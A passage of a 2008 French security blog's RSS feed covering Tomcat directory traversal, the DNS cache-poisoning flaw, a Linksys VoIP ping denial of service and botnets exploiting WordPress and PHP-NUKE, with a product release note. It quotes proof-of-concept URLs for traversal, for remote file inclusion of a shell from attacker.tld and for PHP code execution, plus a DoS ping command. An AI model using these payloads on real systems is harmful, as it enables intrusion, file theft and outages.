<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet title="XSL formatting" type="text/xsl" href="http://webfault.org/feed/rss2/xslt" ?><rss version="2.0"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
  <title>Michael VERGOZ</title>
  <link>http://webfault.org/</link>
  <description></description>
  <language>fr</language>
  <pubDate>Tue, 12 Aug 2008 12:21:08 +0100</pubDate>
  <copyright>Copyright 2007 - Michael Vergoz</copyright>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Dotclear</generator>
  
    
  <item>
    <title>Tomcat : Problème d'encodage UTF-8</title>
    <link>http://webfault.org/post/2008/08/12/Tomcat-%3A-Probleme-dencodage-UTF-8</link>
    <guid isPermaLink="false">urn:md5:06b36ef8e77e707a0f1873c37c8bf845</guid>
    <pubDate>Tue, 12 Aug 2008 12:13:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>Apache</category><category>Directory Traversal</category><category>Tomcat</category><category>UTF-8</category>    
    <description>    &lt;p&gt;Une faille de sécurité a été découverte par Simon Ryeo dans &lt;a href=&quot;http://webfault.org/tag/Apache&quot;&gt;Apache&lt;/a&gt; &lt;a href=&quot;http://webfault.org/tag/Tomcat&quot;&gt;Tomcat&lt;/a&gt;. Cette faille permet à un attaquant de recupère des fichiers important (comme /etc/passwd ou un fichier .htpasswd) sur le serveur visé.&lt;/p&gt;


&lt;p&gt;En fait il est possible d'effectuer un &lt;a href=&quot;http://webfault.org/tag/Directory%20Traversal&quot;&gt;Directory Traversal&lt;/a&gt;. Toute les versions de &lt;a href=&quot;http://webfault.org/tag/Tomcat&quot;&gt;Tomcat&lt;/a&gt; inférieur à la version 6.0.18 sont touché.&lt;/p&gt;


&lt;p&gt;Les conditions sont simples :
Si allowLinking et URIencoding autorise l'&lt;a href=&quot;http://webfault.org/tag/UTF-8&quot;&gt;UTF-8&lt;/a&gt; dans votre context.xml ou votre server.xml alors il est possible de recupèrer des fichiers.&lt;/p&gt;

&lt;pre&gt;
Exploit
If your webroot directory has three depth(e.g /usr/local/wwwroot), An
attacker can access arbitrary files as below. (Proof-of-concept)

http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar
&lt;/pre&gt;


&lt;p&gt;Solutions :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Désactiver allowLinking ou ne pas utiliser l'&lt;a href=&quot;http://webfault.org/tag/UTF-8&quot;&gt;UTF-8&lt;/a&gt; dans URIencoding.&lt;/li&gt;
&lt;li&gt;Utiliser &lt;a href=&quot;http://binarysec.com&quot; hreflang=&quot;en&quot;&gt;BinarySEC&lt;/a&gt; :)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Références :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.securityfocus.com/bid/30633/info&quot; hreflang=&quot;en&quot;&gt;http://www.securityfocus.com/bid/30633/info&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Faille DNS #2 : On constate les dégâts</title>
    <link>http://webfault.org/post/2008/08/07/Faille-DNS-2-%3A-On-constate-les-degats</link>
    <guid isPermaLink="false">urn:md5:dad5271a9ff75dee5cb2bf79a4d67de0</guid>
    <pubDate>Thu, 07 Aug 2008 10:05:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>attaques</category><category>DNS</category><category>DNSSEC</category><category>FAI</category>    
    <description>    &lt;p&gt;L'un des plus grand &lt;a href=&quot;http://webfault.org/tag/FAI&quot;&gt;FAI&lt;/a&gt; Français, Free, subit depuis la sortie officielle de la faille &lt;a href=&quot;http://webfault.org/tag/DNS&quot;&gt;DNS&lt;/a&gt; des &lt;a href=&quot;http://webfault.org/tag/attaques&quot;&gt;attaques&lt;/a&gt; répété qui fatigue leur architecture &lt;a href=&quot;http://webfault.org/tag/DNS&quot;&gt;DNS&lt;/a&gt;. Leur serveurs sont à jour mais comme je l'ais dit dans ma précédente brève la correction proposé par les Vendors &lt;a href=&quot;http://webfault.org/tag/DNS&quot;&gt;DNS&lt;/a&gt; ne corrige pas le problème. Du coup les botnets se mettent à attaquer dur... très dur...&lt;/p&gt;


&lt;p&gt;Pour le moment il n'existe aucune solution. En fait si, il existe une solution : bannir définitivement l'UDP des normes DNS... Solution relativement complexe à mettre en place puisque tout le monde doit accorder leur arc ...&lt;/p&gt;


&lt;p&gt;Il n'existe pas d'autre solution. Il faut que ceux qui définissent les normes et ceux implémentent ces normes (Vendor) face quelque chose et vite...&lt;/p&gt;


&lt;p&gt;La solution &lt;a href=&quot;http://webfault.org/tag/DNSSEC&quot;&gt;DNSSEC&lt;/a&gt; ne résoudra pas le problème comme cela avait été annoncé.&lt;/p&gt;


&lt;p&gt;Il faut bannir l'UDP du &lt;a href=&quot;http://webfault.org/tag/DNS&quot;&gt;DNS&lt;/a&gt; et maintenant.&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.caughq.org/exploits/CAU-EX-2008-0002.txt&quot; hreflang=&quot;en&quot;&gt;Exploit Metasploit qui crée un bordel général&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Merci à vYSa&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Faille DNS</title>
    <link>http://webfault.org/post/2008/07/22/Faille-DNS</link>
    <guid isPermaLink="false">urn:md5:92683842f13ef5d18f115f8edd093c86</guid>
    <pubDate>Tue, 22 Jul 2008 08:47:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>DNS</category><category>spoofer</category>    
    <description>    &lt;p&gt;C'est bien réel, la faille &lt;a href=&quot;http://webfault.org/tag/DNS&quot;&gt;DNS&lt;/a&gt; est rendu publique (enfin). Le buzz a extrêmement bien fonctionné.
La réalité c'est qu'il est possible de modifier les NS d'un domaine à distance mais il existe un certain nombre de paramètres pour que l'exploitation soit effective :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Il faut un provider (FAI) qui vous autorise à &lt;a href=&quot;http://webfault.org/tag/spoofer&quot;&gt;spoofer&lt;/a&gt; en UDP&lt;/li&gt;
&lt;li&gt;Il faut envoyé environs 50000 possibilités cela représente ~5mo d'upload (une connexion ADSL suffit)&lt;/li&gt;
&lt;li&gt;Il ne faut pas avoir DNSSEC :)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La faille consiste à prédire un port source UDP afin de poisonner le DNS visé.&lt;/p&gt;


&lt;p&gt;Le patch fourni par ISC pour Bind9 ne corrige pas la faille au sens du design du protocole, elle augmente simplement le nombre de possibilité afin de rendre la prédiction du port moins probable.
D'après certaines personnes l'attaque est toujours d'actualité mais nécessite ~100Go d'upload pour poisonner le DNS.
L'attaque est maintenant réservé aux botnets capable d'envoyer ces données en quelque seconde... elle est donc distribuable.
Plus de place pour la petite connexion ADSL avec laquelle on pouvait poisonné n'importe quel DNS.&lt;/p&gt;


&lt;p&gt;En gros c'est pas fini...et ce n'est pas non plus ce type de faille qui aura la peau d'internet car il faut savoir que le DNS a était ajouté bien tard et qu'à l'époque seul les fichiers hosts (/etc/hosts) étaient utilisé et c'est très simple de les réutiliser.&lt;/p&gt;


&lt;p&gt;Place au botnets maintenant.&lt;/p&gt;


&lt;p&gt;Merci à lkm et yzarc&lt;/p&gt;


&lt;p&gt;Références :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://it.slashdot.org/it/08/07/21/2212227.shtml&quot; hreflang=&quot;en&quot;&gt;http://it.slashdot.org/it/08/07/21/2212227.shtml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.lesnouvelles.net/articles/attaques/dan-kaminsky-dns-cache-poisoning&quot; hreflang=&quot;en&quot;&gt;http://www.lesnouvelles.net/articles/attaques/dan-kaminsky-dns-cache-poisoning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.lesnouvelles.net/articles/technologies/dnssec-bientot-dns-securises&quot; hreflang=&quot;en&quot;&gt;http://www.lesnouvelles.net/articles/technologies/dnssec-bientot-dns-securises&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.cipherdyne.org/blog/2008/07/mitigating-dns-cache-poisoning-attacks-with-iptables.html&quot; hreflang=&quot;en&quot;&gt;http://www.cipherdyne.org/blog/2008/07/mitigating-dns-cache-poisoning-attacks-with-iptables.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.spoofed.org/2008/07/mitigating-dns-cache-poisoning-with-pf.html&quot; hreflang=&quot;en&quot;&gt;http://blog.spoofed.org/2008/07/mitigating-dns-cache-poisoning-with-pf.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.lesnouvelles.net/articles/virus/botnets-web-20&quot; hreflang=&quot;en&quot;&gt;http://www.lesnouvelles.net/articles/virus/botnets-web-20&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Failles critiques sur les produits VoIP Linksys</title>
    <link>http://webfault.org/post/2008/03/25/Failles-critiques-sur-les-produits-VoIP-Linksys</link>
    <guid isPermaLink="false">urn:md5:368f1ea7bed84b3007ab1f89a51c8fa9</guid>
    <pubDate>Tue, 25 Mar 2008 06:17:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>Buffer Overflow</category><category>Denial Of Service</category><category>DoS</category><category>inutilisable</category><category>IP-PBX</category><category>Linksys</category><category>SIP</category><category>VoIP</category>    
    <description>    &lt;p&gt;Le 24.03.2008 à 04:53 (locale) un certain &lt;a href=&quot;http://core.ifconfig.se/~core/?p=20&quot;&gt;Sipher&lt;/a&gt; envoi un mail sur la liste Bugtraq de &lt;a href=&quot;http://securityfocus.com/&quot;&gt;SecurityFocus&lt;/a&gt; concernant un &lt;a href=&quot;http://webfault.org/tag/Denial%20Of%20Service&quot;&gt;Denial Of Service&lt;/a&gt; sur le produit &lt;a href=&quot;http://www.amazon.fr/Linksys-SPA2102-Phone-Adapter-Router/dp/B000GY8ZKC&quot;&gt;Linksys SPA-2102&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Après quelque minutes de réflection je pars dans des tests locaux sur un téléphone &lt;a href=&quot;http://www.linksys.com/servlet/Satellite?c=L_Product_C2&amp;amp;childpagename=US%2FLayout&amp;amp;cid=1139435695017&amp;amp;pagename=Linksys%2FCommon%2FVisitorWrapper&amp;amp;lid=9501754250B01&quot;&gt;Linksys SPA-942&lt;/a&gt; (version du firmware : 1.0.1(7817)) que je possede.&lt;/p&gt;


&lt;p&gt;Un simple PING forgé avec un nombre de données égal à 65500 permet d'effectuer un &lt;a href=&quot;http://webfault.org/tag/DoS&quot;&gt;DoS&lt;/a&gt; sur le matériel &lt;a href=&quot;http://webfault.org/tag/VoIP&quot;&gt;VoIP&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;&lt;code&gt;ping -s 65500 ip_phone&lt;/code&gt;&lt;/p&gt;


&lt;p&gt;Sur le moment, il ne se passe rien. Puis après quelque secondes l'interface web du téléphone commence à ne plus me répondre... Surpris, je commence à regarder si les fonctions du téléphone sont encore disponible et là pareil, impossible de passer ou de recevoir un appel !&lt;/p&gt;


&lt;p&gt;Même après un reboot hard du téléphone impossible de passer des appels et impossible de se connecter sur l'interface web.&lt;/p&gt;


&lt;p&gt;Au niveau réseau, le téléphone arrive à s'autentifer une fois sur le serveur &lt;a href=&quot;http://webfault.org/tag/IP-PBX&quot;&gt;IP-PBX&lt;/a&gt; mais après quel secondes il ne répond plus aux requêtes &lt;a href=&quot;http://webfault.org/tag/SIP&quot;&gt;SIP&lt;/a&gt; (notify, invite ...)&lt;/p&gt;


&lt;p&gt;Bilan, cette commande ne génère pas qu'un Denial Of Service mais aussi un &lt;a href=&quot;http://webfault.org/tag/Buffer%20Overflow&quot;&gt;Buffer Overflow&lt;/a&gt; !&lt;/p&gt;


&lt;p&gt;Je pense savoir à peut prêt les raisons pour lesquelles il déborde de la mémoire je ne vais pas étendre mes connaissances sur ce sujet. Tout ce que je peux dire c'est qu'il est possible de réinscrire la configuration du téléphone et qu'il est aussi possible d'écrire sur la mémoire type SSD du téléphone, c'est à dire écrire dans le noyau du téléphone pour par exemple exécuter un virus dans le téléphone. Concernant le type d'architecture je pense que c'est de l'ARM 3.&lt;/p&gt;


&lt;p&gt;Et même après quelque &quot;Factory Reset&quot; le téléphone reste &lt;a href=&quot;http://webfault.org/tag/inutilisable&quot;&gt;inutilisable&lt;/a&gt;. Je vais voir pour le réinitialiser d'une autre façon.&lt;/p&gt;


&lt;p&gt;J'ai d'autre matériels du même type comme un SPA-3102 qui sont aussi vulnérables.&lt;/p&gt;


&lt;p&gt;Je ne sais pas ce que &lt;a href=&quot;http://webfault.org/tag/Linksys&quot;&gt;Linksys&lt;/a&gt; a à dire mais le fameux &lt;a href=&quot;http://core.ifconfig.se/~core/?p=20&quot;&gt;Sipher&lt;/a&gt; ne semble pas avoir respecté les règles du &quot;Good disclosure&quot; qui consiste à informer le Vendor avant de publier l'information.&lt;/p&gt;


&lt;p&gt;On verra comment tout cela ce goupille.&lt;/p&gt;


&lt;p&gt;- &lt;a href=&quot;http://core.ifconfig.se/~core/?p=20&quot;&gt;Annonce sur le blog de Sipher&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>vmsplice - la faille du retour vers le futur</title>
    <link>http://webfault.org/post/2008/03/19/vmsplice-la-faille-du-retour-vers-le-futur</link>
    <guid isPermaLink="false">urn:md5:b4bde140c4ce83941d0b7da6cb4e2919</guid>
    <pubDate>Wed, 19 Mar 2008 17:54:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>Linux</category><category>vmsplice</category>    
    <description>    &lt;p&gt;Après avoir attendu prêt de 6 versions du kernel &lt;a href=&quot;http://webfault.org/tag/Linux&quot;&gt;Linux&lt;/a&gt; pour que la failles &lt;a href=&quot;http://webfault.org/tag/vmsplice&quot;&gt;vmsplice&lt;/a&gt; soit corrigé à 100% (elle ne l'est toujours pas même avec la 2.6.24-3) j'ai décidé dans mon coin de désactiver complètement de mon noyau certain appels systèmes.&lt;/p&gt;


&lt;p&gt;cela concerne les syscalls &lt;strong&gt;sys_vmsplice(), sys_splice() , do_tee() et sys_tee()&lt;/strong&gt;&lt;/p&gt;


&lt;p&gt;Copier simplement ce fichier dans &lt;strong&gt;fs/&lt;/strong&gt; du répertoire source de Linux&amp;nbsp;: &lt;a href=&quot;http://webfault.org/data/splice.c&quot;&gt;http://webfault.org/data/splice.c&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Et croyez le ou pas ce patch est très utile.&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Faille sur faille : La bombe du web est là</title>
    <link>http://webfault.org/post/Faille-sur-faille-la-bombe-du-web-est-la</link>
    <guid isPermaLink="false">urn:md5:59246f24e55770ab76ff55882d463632</guid>
    <pubDate>Sun, 02 Mar 2008 21:39:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>Apache</category><category>Botnet</category><category>brève</category><category>escape shell</category><category>failles</category><category>full disclosure</category><category>Joomla</category><category>Linux</category><category>PHP-NUKE</category><category>pots de miel</category><category>root</category><category>White Hat</category><category>Wordpress</category>    
    <description>    &lt;p&gt;On dit souvent que c'est en passant le mot que les choses avancent. C'est la raison pour laquelle j'écris cette petite &lt;a href=&quot;http://webfault.org/index.php?tag/br%C3%A8ve&quot;&gt;brève&lt;/a&gt;.
Il faut comprendre une chose avant tout, le niveau critique de sécurité (ou d'insécurité) que nous avons atteint est rare / grave et c'est ce que je vais tenter d'expliquer rapidement.&lt;/p&gt;


&lt;p&gt;Précédemment je parlais des failles dans &lt;a href=&quot;http://webfault.org/index.php?tag/Wordpress&quot;&gt;Wordpress&lt;/a&gt;, &lt;a href=&quot;http://webfault.org/index.php?tag/Joomla&quot;&gt;Joomla&lt;/a&gt; et &lt;a href=&quot;http://webfault.org/index.php?tag/PHP-NUKE&quot;&gt;PHP-NUKE&lt;/a&gt;. Je ne sais pas dire combien de sites exactement utilisent ces Applications mais je connais un certain nombre de groupes d'utilisation.
Par exemple, Joomla est reconnu pour être utilisé par les administrations et les sites d'informations. &lt;a href=&quot;http://webfault.org/index.php?tag/Wordpress&quot;&gt;Wordpress&lt;/a&gt; est réputé pour être utilisé dans le domaines de l'édition sur le web (un peu comme &lt;a href=&quot;http://webfault.org/index.php?tag/Joomla&quot;&gt;Joomla&lt;/a&gt;) et crawler web. Et pour finir &lt;a href=&quot;http://webfault.org/index.php?tag/PHP-NUKE&quot;&gt;PHP-NUKE&lt;/a&gt; que je sais massivement utilisé par les &quot;clans&quot; de Joueurs.&lt;/p&gt;


&lt;p&gt;Ensuite il faut prendre en considération trois autres choses&amp;nbsp;:&lt;/p&gt;


&lt;p&gt;La première est que ces sites sont, dans pratiquement tous les cas, hébergés sur des serveurs &lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt; / &lt;a href=&quot;http://webfault.org/index.php?tag/Linux&quot;&gt;Linux&lt;/a&gt; sauf pour &lt;a href=&quot;http://webfault.org/index.php?tag/Wordpress&quot;&gt;Wordpress&lt;/a&gt; qui peut se retrouver à tourner sous Windows et ces applications contiennent des &lt;a href=&quot;http://webfault.org/index.php?tag/failles&quot;&gt;failles&lt;/a&gt; connues et facilement exploitables.&lt;/p&gt;


&lt;p&gt;La seconde est qu'il y a un nombre très important de failles LOCALES (nécessitant une authentification pour être exploitées) dans le noyau Linux. Vous me direz que ce ne sont que des failles locales.
Il faut un contexte utilisateur à l'attaquant sur la machine et le serveur Web &lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt; qui héberge ces applications vulnérables est considéré comme un utilisateur simple au vu du noyau. Quand un attaquant pénètre le premier niveau - l'application web - il peut exécuter des programmes sur le serveur dans l'environnement de l'utilisateur &lt;a href=&quot;http://webfault.org/index.php?tag/Apache&quot;&gt;Apache&lt;/a&gt; (www-data en général). A ce moment, les dégâts peuvent être limités MAIS il y a des failles LOCALES qui permettent à l'utilisateur d'élever ses privilèges&amp;nbsp;! L'attaquant va faire télécharger un petit code par le serveur puis ce dernier va le compiler et l'exécuter et l'utilisateur va finalement se retrouver directement &lt;a href=&quot;http://webfault.org/index.php?tag/root&quot;&gt;root&lt;/a&gt; (administrateur) sur le serveur.&lt;/p&gt;


&lt;p&gt;La troisième chose à considérer est les réseaux de &lt;a href=&quot;http://webfault.org/index.php?tag/Botnet&quot;&gt;Botnet&lt;/a&gt;. Quatre heures après la publication d'une faille d'&lt;a href=&quot;http://webfault.org/index.php?tag/escape%20shell&quot;&gt;escape shell&lt;/a&gt; dans &lt;a href=&quot;http://webfault.org/index.php?tag/PHP-NUKE&quot;&gt;PHP-NUKE&lt;/a&gt; je commençais déjà à recevoir des attaques de machine déjà piratées par cette même faille.
Les hommes qui sont derrière ces &lt;a href=&quot;http://webfault.org/index.php?tag/Botnet&quot;&gt;Botnet&lt;/a&gt; sont comme des veilleurs et sont très opportunistes.
Par la suite j'ai placé quelques &lt;a href=&quot;http://webfault.org/index.php?tag/pots%20de%20miel&quot;&gt;pots de miel&lt;/a&gt; et je commençais déjà à recevoir des sources d'exploits publiés sur le site de &lt;a href=&quot;http://www.milw0rm.com/search.php?dong=linux&quot;&gt;milw0rm&lt;/a&gt;.
En passant, j'ai un ami qui exécutait des vm complètes et se faisait pirater entièrement son serveur par des robots et des fois par des exploits (source  d'un programme malveillant) inconnus.!?!!&lt;/p&gt;


&lt;p&gt;La réalité du terrain est catastrophique. Les botnets se sont largement spécialisés et leur techniques sont issu es des &lt;a href=&quot;http://webfault.org/index.php?tag/White%20Hat&quot;&gt;White Hat&lt;/a&gt; voulant du &lt;a href=&quot;http://webfault.org/index.php?tag/full%20disclosure&quot;&gt;full disclosure&lt;/a&gt; à tout prix. Qui sera capable d'en mesurer les conséquences&amp;nbsp;? Et qui serait capable de déterminer l'ampleur des dégâts&amp;nbsp;?
La bombe atomique du web est là.&lt;/p&gt;


&lt;p&gt;Quelques liens qui font peur&amp;nbsp;:&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.milw0rm.com/search.php?dong=linux&quot;&gt;milw0rm d0ng L!Nux !!HOT!!&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.securityfocus.com/bid/27796&quot;&gt;Linux Kernel Prior to 2.6.24.1 'copy_from_user_mmap_sem()' Memory Access Vulnerability (Vulnerabilities)&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.securityfocus.com/bid/27798&quot;&gt;Linux Kernel Prior to 2.6.24.1 '/proc' Local Memory Access Vulnerability&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.securityfocus.com/bid/27799&quot;&gt;Linux Kernel Prior to 2.6.24.1 'vmsplice_to_user()' Local Memory Access&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.securityfocus.com/bid/27704&quot;&gt;Linux Kernel Prior to 2.6.24.1 'vmsplice_to_pipe()' Local Privilege Escalation Vulnerability&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Wordpress fait froid dans le dos</title>
    <link>http://webfault.org/post/2008/02/25/Wordpress-fait-froid-dans-le-dos</link>
    <guid isPermaLink="false">urn:md5:8c57fc363d9ab4ffeb11122084ce7b6b</guid>
    <pubDate>Mon, 25 Feb 2008 21:55:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>advisory</category><category>failles</category><category>Remote Code Execution</category><category>Remote File Inclusion</category><category>Sniplets</category><category>spam</category><category>Wordpress</category>    
    <description>    &lt;p&gt;Tout à l'heure vers 18:00 GMT+4 je vois un &lt;a href=&quot;http://webfault.org/index.php?tag/advisory&quot;&gt;advisory&lt;/a&gt; sortir concernant le plugin &lt;a href=&quot;http://webfault.org/index.php?tag/Sniplets&quot;&gt;Sniplets&lt;/a&gt; de &lt;a href=&quot;http://webfault.org/index.php?tag/Wordpress&quot;&gt;Wordpress&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Je ne fais pas plus attention que ça. L'&lt;a href=&quot;http://webfault.org/index.php?tag/advisory&quot;&gt;advisory&lt;/a&gt; compte trois &lt;a href=&quot;http://webfault.org/index.php?tag/failles&quot;&gt;failles&lt;/a&gt; dont deux que je considére comme critique. Une inclusion de fichiers distant (&lt;a href=&quot;http://webfault.org/index.php?tag/Remote%20File%20Inclusion&quot;&gt;Remote File Inclusion&lt;/a&gt;) et d'une execution de code PHP à distance (&lt;a href=&quot;http://webfault.org/index.php?tag/Remote%20Code%20Execution&quot;&gt;Remote Code Execution&lt;/a&gt;).&lt;/p&gt;

&lt;pre&gt;
Exemple du Remote File Inclusion
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/syntax_highlight.php?libpath=http://attacker.tld/shell.txt?

Exemple du Remote Code Execution
http://victim.tld/wordpress/wp-content/plugins/sniplets/modules/execute.php?text=%3C?php%20system(%22ls%22);
&lt;/pre&gt;


&lt;p&gt;Quelque heures plus tard nous commencons à recevoir une pluie de requêtes de &lt;a href=&quot;http://webfault.org/index.php?tag/spam&quot;&gt;spam&lt;/a&gt; sur nos sites venant de site piraté utilisant du &lt;a href=&quot;http://webfault.org/index.php?tag/Wordpress&quot;&gt;Wordpress&lt;/a&gt;.&lt;/p&gt;


&lt;p&gt;Après quelque minutes je me rend compte qu'il y a eu pas moins de 8 failles dans &lt;a href=&quot;http://webfault.org/index.php?tag/Wordpress&quot;&gt;Wordpress&lt;/a&gt; sur le mois de Février.&lt;/p&gt;


&lt;p&gt;Mettez à jour vos applications !&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://search.securityfocus.com/swsearch?query=wordpress&amp;amp;sbm=bid&amp;amp;submit=Search%21&amp;amp;metaname=alldoc&amp;amp;sort=swishlastmodified&quot;&gt;Liste de failles de Wordpress sur SecurityFocus&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>PHP NUKE devient la 2éme cible des botnets</title>
    <link>http://webfault.org/post/2008/02/25/PHP-NUKE-devient-la-2eme-cible-des-botnets</link>
    <guid isPermaLink="false">urn:md5:6b5673aeafcdcbc5f21aaa948c66e360</guid>
    <pubDate>Mon, 25 Feb 2008 07:47:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Securité</category>
        <category>BinarySEC</category><category>botnets</category><category>Joomla</category><category>PHP</category><category>virus</category>    
    <description>    &lt;p&gt;Ce mois de Février est noir pour l'équipe de développement de PHP-NUKE avec pas moins de 14 vulnérabilités de type SQL injection.&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://search.securityfocus.com/swsearch?query=php-nuke&amp;amp;sbm=bid&amp;amp;submit=Search%21&amp;amp;metaname=alldoc&amp;amp;sort=swishlastmodified&quot; hreflang=&quot;en&quot;&gt;Liste des vulnérabilités sur SecurityFocus&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Il semble que les &lt;a href=&quot;http://webfault.org/index.php?tag/botnets&quot;&gt;botnets&lt;/a&gt; utilisent ces techniques pour injecter des &lt;a href=&quot;http://webfault.org/index.php?tag/virus&quot;&gt;virus&lt;/a&gt; sur les sites web.
Sur le site de &lt;a href=&quot;http://webfault.org/index.php?tag/BinarySEC&quot;&gt;BinarySEC&lt;/a&gt; nous avons déja reçu pas moins de 10 attaques venant de site web piraté utilisant PHP-NUKE vulnérable essayant de rebondir sur notre site web. Dans la majeur partie des cas les sites attaquant sont des sites de clan de jeux video.&lt;/p&gt;


&lt;p&gt;La cible des &lt;a href=&quot;http://webfault.org/index.php?tag/botnets&quot;&gt;botnets&lt;/a&gt; préféré reste sans aucun doute &lt;a href=&quot;http://webfault.org/index.php?tag/Joomla&quot;&gt;Joomla&lt;/a&gt; mais avec ces failles les sites web utilisant PHP-NUKE vont sérieusement se faire attaquer.&lt;/p&gt;


&lt;p&gt;PHP-NUKE&amp;nbsp;: Logiciel programmé en &lt;a href=&quot;http://webfault.org/index.php?tag/PHP&quot;&gt;PHP&lt;/a&gt; permettant à un utilisateur de gérer du contenu et fonctionnalités web simplement.&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>BinarySEC 2.4.0</title>
    <link>http://webfault.org/post/2008/02/18/BinarySEC-240</link>
    <guid isPermaLink="false">urn:md5:835c1bcb7af3278de877991c8aa2dfec</guid>
    <pubDate>Mon, 18 Feb 2008 09:28:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>BinarySEC</category>
        <category>BinarySEC</category><category>intelligence artifielle</category>    
    <description>    &lt;p&gt;Cette nouvelle version mineure de &lt;a href=&quot;http://webfault.org/index.php?tag/BinarySEC&quot;&gt;BinarySEC&lt;/a&gt; intègre un grand nombre d'améliorations.
Le moteur d'&lt;a href=&quot;http://webfault.org/index.php?tag/intelligence%20artifielle&quot;&gt;intelligence artifielle&lt;/a&gt; a été amélioré avec notamment l'intégration d'un système de listes rouges, oranges et vertes.&lt;/p&gt;


&lt;p&gt;Quand une requête est anormale, elle est classée comme alerte Orange (Anormale &amp;amp; Inconnue). Si celle-ci est un faux positif, vous pouvez la classer en Alerte Verte (Normale &amp;amp; Connue). Les alertes Oranges existantes correspondant à l'alerte Verte seront effacées et le trafic sera normalisé sur le serveur Web.&lt;/p&gt;


&lt;p&gt;Si la requête était bien malicieuse et que vous ne souhaitez plus la logger, alors vous pouvez la classer en Alerte Rouge (Anormale &amp;amp; Connue). Toutes les alertes Oranges correspondant à l'alerte Rouge seront effacées et les nouvelles requêtes comparables seront traitées comme du trafic anormal.&lt;/p&gt;


&lt;p&gt;L'autre évolution majeure est l'amélioration du moteur de corrélation qui lit plus rapidement les alertes en base de données.&lt;/p&gt;


&lt;p&gt;Le tableau de bord et les statistiques ont été largement complétées.&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://pwd.binarysec.com/&quot;&gt;Télécharger BinarySEC 2.4.0 gratuitement&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://www.binarysec.com/&quot;&gt;Visiter BinarySEC&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;a href=&quot;http://freshmeat.net/projects/binarysec/?branch_id=67444&amp;amp;release_id=272481&quot;&gt;Annonce sur Freshmeat&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
      </item>
    
  <item>
    <title>Belle photo du spot les Zegrette à l'ile de la réunion</title>
    <link>http://webfault.org/post/2007/09/25/Belle-photo-du-spot-les-Zegrette-a-lile-de-la-reunion</link>
    <guid isPermaLink="false">urn:md5:4ce2dc6eb0c43bc28764afe0516a792f</guid>
    <pubDate>Tue, 25 Sep 2007 22:27:00 +0000</pubDate>
    <dc:creator>Michael Vergoz</dc:creator>
        <category>Bodyboard / Surf</category>
        <category>lîle de la réunion</category><category>Zegrette</category>    
    <description>    &lt;p&gt;Hop hop
